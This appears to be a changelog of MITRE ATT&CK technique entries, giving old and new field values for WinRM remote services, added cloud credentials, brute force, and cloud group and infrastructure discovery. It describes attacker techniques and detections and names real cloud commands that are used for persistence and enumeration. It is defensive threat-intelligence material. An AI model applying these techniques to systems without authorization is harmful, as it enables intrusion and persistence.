| external_references | {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'} | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote systems using Wi | > | g/techniques/T1078) to interact with remote systems using Wi | ||
| > | ndows Remote Management (WinRM). The adversary may then perf | > | ndows Remote Management (WinRM). The adversary may then perf | ||
| > | orm actions as the logged-on user. WinRM is the name of bot | > | orm actions as the logged-on user. WinRM is the name of bot | ||
| > | h a Windows service and a protocol that allows a user to int | > | h a Windows service and a protocol that allows a user to int | ||
| > | eract with a remote system (e.g., run an executable, modify | > | eract with a remote system (e.g., run an executable, modify | ||
| > | the Registry, modify services).(Citation: Microsoft WinRM) I | > | the Registry, modify services).(Citation: Microsoft WinRM) I | ||
| > | t may be called with the `winrm` command or by any number of | > | t may be called with the `winrm` command or by any number of | ||
| > | programs such as PowerShell.(Citation: Jacobsen 2014) | > | programs such as PowerShell.(Citation: Jacobsen 2014) WinRM | ||
| > | can be used as a method of remotely interacting with [Wind | ||||
| > | ows Management Instrumentation](https://attack.mitre.org/tec | ||||
| > | hniques/T1047).(Citation: MSDN WMI) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 12:25:03.014000+00:00 | 2021-06-23 19:22:52.870000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) |
| external_references[3]['source_name'] | Medium Detecting Lateral Movement | MSDN WMI |
| external_references[3]['description'] | French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019. | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. |
| external_references[3]['url'] | https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc | https://msdn.microsoft.com/en-us/library/aa394582.aspx |
| x_mitre_data_sources[0] | Process command-line parameters | Service: Service Metadata |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[4] | File monitoring | Command: Command Execution |
| x_mitre_detection | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Detecting Lateral Movement', 'description': 'French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc'} |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may add adversary-controlled credentials to a cl | t | 1 | Adversaries may add adversary-controlled credentials to a cl |
| > | oud account to maintain persistent access to victim accounts | > | oud account to maintain persistent access to victim accounts | ||
| > | and instances within the environment. Adversaries may add | > | and instances within the environment. Adversaries may add | ||
| > | credentials for Azure Service Principals in addition to exis | > | credentials for Service Principals and Applications in addit | ||
| > | ting legitimate credentials(Citation: Create Azure Service P | > | ion to existing legitimate credentials in Azure AD.(Citation | ||
| > | rincipal) to victim Azure accounts.(Citation: Blue Cloud of | > | : Microsoft SolarWinds Customer Guidance)(Citation: Blue Clo | ||
| > | Death)(Citation: Blue Cloud of Death Video) Azure Service Pr | > | ud of Death)(Citation: Blue Cloud of Death Video) These cred | ||
| > | incipals support both password and certificate credentials.( | > | entials include both x509 keys and passwords.(Citation: Micr | ||
| > | Citation: Why AAD Service Principals) With sufficient permis | > | osoft SolarWinds Customer Guidance) With sufficient permissi | ||
| > | sions, there are a variety of ways to add credentials includ | > | ons, there are a variety of ways to add credentials includin | ||
| > | ing the Azure Portal, Azure command line interface, and Azur | > | g the Azure Portal, Azure command line interface, and Azure | ||
| > | e or Az [PowerShell](https://attack.mitre.org/techniques/T10 | > | or Az PowerShell modules.(Citation: Demystifying Azure AD Se | ||
| > | 59/001) modules.(Citation: Demystifying Azure AD Service Pri | > | rvice Principals) In infrastructure-as-a-service (IaaS) env | ||
| > | ncipals) After gaining access through [Cloud Accounts](http | > | ironments, after gaining access through [Cloud Accounts](htt | ||
| > | s://attack.mitre.org/techniques/T1078/004), adversaries may | > | ps://attack.mitre.org/techniques/T1078/004), adversaries may | ||
| > | generate or import their own SSH keys using either the <code | > | generate or import their own SSH keys using either the <cod | ||
| > | >CreateKeyPair</code> or <code>ImportKeyPair</code> API in A | > | e>CreateKeyPair</code> or <code>ImportKeyPair</code> API in | ||
| > | WS or the <code>gcloud compute os-login ssh-keys add</code> | > | AWS or the <code>gcloud compute os-login ssh-keys add</code> | ||
| > | command in GCP.(Citation: GCP SSH Key Add) This allows persi | > | command in GCP.(Citation: GCP SSH Key Add) This allows pers | ||
| > | stent access to instances within the cloud environment witho | > | istent access to instances within the cloud environment with | ||
| > | ut further usage of the compromised cloud accounts.(Citation | > | out further usage of the compromised cloud accounts.(Citatio | ||
| > | : Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) | > | n: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 16:43:27.024000+00:00 | 2021-03-08 10:33:01.582000+00:00 |
| description | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
Adversaries may add credentials for Azure Service Principals in addition to existing legitimate credentials(Citation: Create Azure Service Principal) to victim Azure accounts.(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) Azure Service Principals support both password and certificate credentials.(Citation: Why AAD Service Principals) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules.(Citation: Demystifying Azure AD Service Principals)
After gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) |
| external_references[1]['source_name'] | Create Azure Service Principal | Microsoft SolarWinds Customer Guidance |
| external_references[1]['description'] | Microsoft. (2020, January 8). Create an Azure service principal with Azure CLI. Retrieved January 19, 2020. | MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/cli/azure/create-an-azure-service-principal-azure-cli?toc=%2Fazure%2Fazure-resource-manager%2Ftoc.json&view=azure-cli-latest | https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ |
| external_references[4]['source_name'] | Why AAD Service Principals | Demystifying Azure AD Service Principals |
| external_references[4]['description'] | Microsoft. (2019, September 23). Azure Superpowers Lab Manual. Retrieved January 19, 2020. | Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. |
| external_references[4]['url'] | https://github.com/microsoft/AzureSuperpowers/blob/master/docs/AzureSuperpowers.md#why-aad-service-principals | https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ |
| external_references[5]['source_name'] | Demystifying Azure AD Service Principals | GCP SSH Key Add |
| external_references[5]['description'] | Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. | Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. |
| external_references[5]['url'] | https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ | https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add |
| external_references[6]['source_name'] | GCP SSH Key Add | Expel IO Evil in AWS |
| external_references[6]['description'] | Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[6]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[7]['source_name'] | Expel IO Evil in AWS | Expel Behind the Scenes |
| external_references[7]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020. |
| external_references[7]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/ |
| x_mitre_data_sources[0] | Stackdriver logs | User Account: User Account Modification |
| x_mitre_data_sources[1] | GCP audit logs | Active Directory: Active Directory Object Modification |
| x_mitre_detection | Monitor Azure Activity Logs for service principal modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. | Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. |
| x_mitre_platforms[0] | Azure AD | IaaS |
| x_mitre_platforms[1] | Azure | Azure AD |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Expel Behind the Scenes', 'description': 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.', 'url': 'https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/'} | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained. Without knowledge of the password for an acco | > | are obtained. Without knowledge of the password for an acco | ||
| > | unt or set of accounts, an adversary may systematically gues | > | unt or set of accounts, an adversary may systematically gues | ||
| > | s the password using a repetitive or iterative mechanism. Br | > | s the password using a repetitive or iterative mechanism. Br | ||
| > | ute forcing passwords can take place via interaction with a | > | ute forcing passwords can take place via interaction with a | ||
| > | service that will check the validity of those credentials or | > | service that will check the validity of those credentials or | ||
| > | offline against previously acquired credential data, such a | > | offline against previously acquired credential data, such a | ||
| > | s password hashes. | > | s password hashes. Brute forcing credentials may take place | ||
| > | at various points during a breach. For example, adversaries | ||||
| > | may attempt to brute force access to [Valid Accounts](https | ||||
| > | ://attack.mitre.org/techniques/T1078) within a victim enviro | ||||
| > | nment leveraging knowledge gathered from other post-compromi | ||||
| > | se behaviors such as [OS Credential Dumping](https://attack. | ||||
| > | mitre.org/techniques/T1003), [Account Discovery](https://att | ||||
| > | ack.mitre.org/techniques/T1087), or [Password Policy Discove | ||||
| > | ry](https://attack.mitre.org/techniques/T1201). Adversaries | ||||
| > | may also combine brute forcing activity with behaviors such | ||||
| > | as [External Remote Services](https://attack.mitre.org/techn | ||||
| > | iques/T1133) as part of Initial Access. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 16:38:27.781000+00:00 | 2021-09-30 19:18:16.672000+00:00 |
| description | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. |
| x_mitre_data_sources[0] | Office 365 account logs | Command: Command Execution |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Authentication |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | SaaS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | AWS | Google Workspace |
| x_mitre_platforms[8] | Azure | Containers |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | David Fiser, @anu4is, Trend Micro | |
| x_mitre_contributors | Alfredo Oliveira, Trend Micro | |
| x_mitre_contributors | Magno Logan, @magnologan, Trend Micro | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.3
Version changed from: 1.1 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Jon Sternstein, Stern Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:01:22.090000+00:00 | 2021-10-18 17:48:05.659000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Logon Session: Logon Session Metadata |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | SaaS |
| x_mitre_platforms[3] | SaaS | IaaS |
| x_mitre_platforms[4] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to find cloud groups and permission | t | 1 | Adversaries may attempt to find cloud groups and permission |
| > | settings. The knowledge of cloud permission groups can help | > | settings. The knowledge of cloud permission groups can help | ||
| > | adversaries determine the particular roles of users and grou | > | adversaries determine the particular roles of users and grou | ||
| > | ps within an environment, as well as which users are associa | > | ps within an environment, as well as which users are associa | ||
| > | ted with a particular group. With authenticated access ther | > | ted with a particular group. With authenticated access ther | ||
| > | e are several tools that can be used to find permissions gro | > | e are several tools that can be used to find permissions gro | ||
| > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | ||
| > | used to obtain roles and permissions groups for Exchange and | > | used to obtain roles and permissions groups for Exchange and | ||
| > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | > | Office 365 accounts (Citation: Microsoft Msolrole)(Citation | ||
| > | : GitHub Raindance) Azure CLI (AZ CLI) also provides an int | > | : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou | ||
| > | erface to obtain permissions groups with authenticated acces | > | d Identity Provider API also provide interfaces to obtain pe | ||
| > | s to a domain. The command <code>az ad user get-member-group | > | rmissions groups. The command <code>az ad user get-member-gr | ||
| > | s</code> will list groups associated to a user account.(Cita | > | oups</code> will list groups associated to a user account fo | ||
| > | tion: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS | > | r Azure while the API endpoint <code>GET https://cloudidenti | ||
| > | AD Azure, 2018) | > | ty.googleapis.com/v1/groups</code> lists group resources ava | ||
| > | ilable to a user for Google (Citation: Microsoft AZ CLI)(Cit | ||||
| > | ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: | ||||
| > | Google Cloud Identity API Documentation). Adversaries may a | ||||
| > | ttempt to list ACLs for objects to determine the owner and o | ||||
| > | ther accounts with access to the object, for example, via th | ||||
| > | e AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucke | ||||
| > | t ACL). Using this information an adversary can target accou | ||||
| > | nts with permissions to a given object or leverage accounts | ||||
| > | they have already compromised to access the object. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Regina Elwell', 'Isif Ibrahima'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-08 17:34:39.077000+00:00 | 2021-06-25 12:13:37.940000+00:00 |
| description | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. |
| x_mitre_data_sources[0] | GCP audit logs | Process: Process Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Group: Group Enumeration |
| x_mitre_data_sources[3] | Azure activity logs | Group: Group Metadata |
| x_mitre_data_sources[4] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[3] | Azure | IaaS |
| x_mitre_platforms[4] | AWS | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Cloud Identity API Documentation', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://cloud.google.com/identity/docs/reference/rest'} | |
| external_references | {'source_name': 'AWS Get Bucket ACL', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html'} | |
| x_mitre_platforms | Azure AD |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | GCP |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to discover resources that are avai | t | 1 | An adversary may attempt to discover resources that are avai |
| > | lable within an infrastructure-as-a-service (IaaS) environme | > | lable within an infrastructure-as-a-service (IaaS) environme | ||
| > | nt. This includes compute service resources such as instance | > | nt. This includes compute service resources such as instance | ||
| > | s, virtual machines, and snapshots as well as resources of o | > | s, virtual machines, and snapshots as well as resources of o | ||
| > | ther services including the storage and database services. | > | ther services including the storage and database services. | ||
| > | Cloud providers offer methods such as APIs and commands issu | > | Cloud providers offer methods such as APIs and commands issu | ||
| > | ed through CLIs to serve information about infrastructure. F | > | ed through CLIs to serve information about infrastructure. F | ||
| > | or example, AWS provides a <code>DescribeInstances</code> AP | > | or example, AWS provides a <code>DescribeInstances</code> AP | ||
| > | I within the Amazon EC2 API that can return information abou | > | I within the Amazon EC2 API that can return information abou | ||
| > | t one or more instances within an account, as well as the <c | > | t one or more instances within an account, the <code>ListBuc | ||
| > | ode>ListBuckets</code> API that returns a list of all bucket | > | kets</code> API that returns a list of all buckets owned by | ||
| > | s owned by the authenticated sender of the request.(Citation | > | the authenticated sender of the request, or the <code>GetPub | ||
| > | : Amazon Describe Instance)(Citation: Amazon Describe Instan | > | licAccessBlock</code> API to retrieve access block configura | ||
| > | ces API) Similarly, GCP's Cloud SDK CLI provides the <code>g | > | tion for a bucket (Citation: Amazon Describe Instance)(Citat | ||
| > | cloud compute instances list</code> command to list all Goog | > | ion: Amazon Describe Instances API)(Citation: AWS Get Public | ||
| > | le Compute Engine instances in a project(Citation: Google Co | > | Access Block). Similarly, GCP's Cloud SDK CLI provides the | ||
| > | mpute Instances), and Azure's CLI command <code>az vm list</ | > | <code>gcloud compute instances list</code> command to list | ||
| > | code> lists details of virtual machines.(Citation: Microsoft | > | all Google Compute Engine instances in a project (Citation: | ||
| > | AZ CLI) An adversary may enumerate resources using a compr | > | Google Compute Instances), and Azure's CLI command <code>az | ||
| > | omised user's access keys to determine which are available t | > | vm list</code> lists details of virtual machines.(Citation: | ||
| > | o that user.(Citation: Expel IO Evil in AWS) The discovery o | > | Microsoft AZ CLI) An adversary may enumerate resources usin | ||
| > | f these available resources may help adversaries determine t | > | g a compromised user's access keys to determine which are av | ||
| > | heir next steps in the Cloud environment, such as establishi | > | ailable to that user.(Citation: Expel IO Evil in AWS) The di | ||
| > | ng Persistence.(Citation: Mandiant M-Trends 2020) Unlike in | > | scovery of these available resources may help adversaries de | ||
| > | [Cloud Service Discovery](https://attack.mitre.org/technique | > | termine their next steps in the Cloud environment, such as e | ||
| > | s/T1526), this technique focuses on the discovery of compone | > | stablishing Persistence.(Citation: Mandiant M-Trends 2020)An | ||
| > | nts of the provided services rather than the services themse | > | adversary may also use this information to change the confi | ||
| > | lves. | > | guration to make the bucket publicly accessible, allowing da | ||
| > | ta to be accessed without authentication. Adversaries have a | ||||
| > | lso may use infrastructure discovery APIs such as <code>Desc | ||||
| > | ribeDBInstances</code> to determine size, owner, permissions | ||||
| > | , and network ACLs of database resources. (Citation: AWS Des | ||||
| > | cribe DB Instances) Adversaries can use this information to | ||||
| > | determine the potential value of databases and discover the | ||||
| > | requirements to access them. Unlike in [Cloud Service Discov | ||||
| > | ery](https://attack.mitre.org/techniques/T1526), this techni | ||||
| > | que focuses on the discovery of components of the provided s | ||||
| > | ervices rather than the services themselves. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 16:41:23.267000+00:00 | 2021-09-02 14:42:19.761000+00:00 |
| description | An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. | An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block).
Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. |
| external_references[3]['source_name'] | Google Compute Instances | AWS Get Public Access Block |
| external_references[3]['description'] | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[3]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list | https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html |
| external_references[4]['source_name'] | Microsoft AZ CLI | Google Compute Instances |
| external_references[4]['description'] | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list |
| external_references[5]['source_name'] | Expel IO Evil in AWS | Microsoft AZ CLI |
| external_references[5]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. |
| external_references[5]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest |
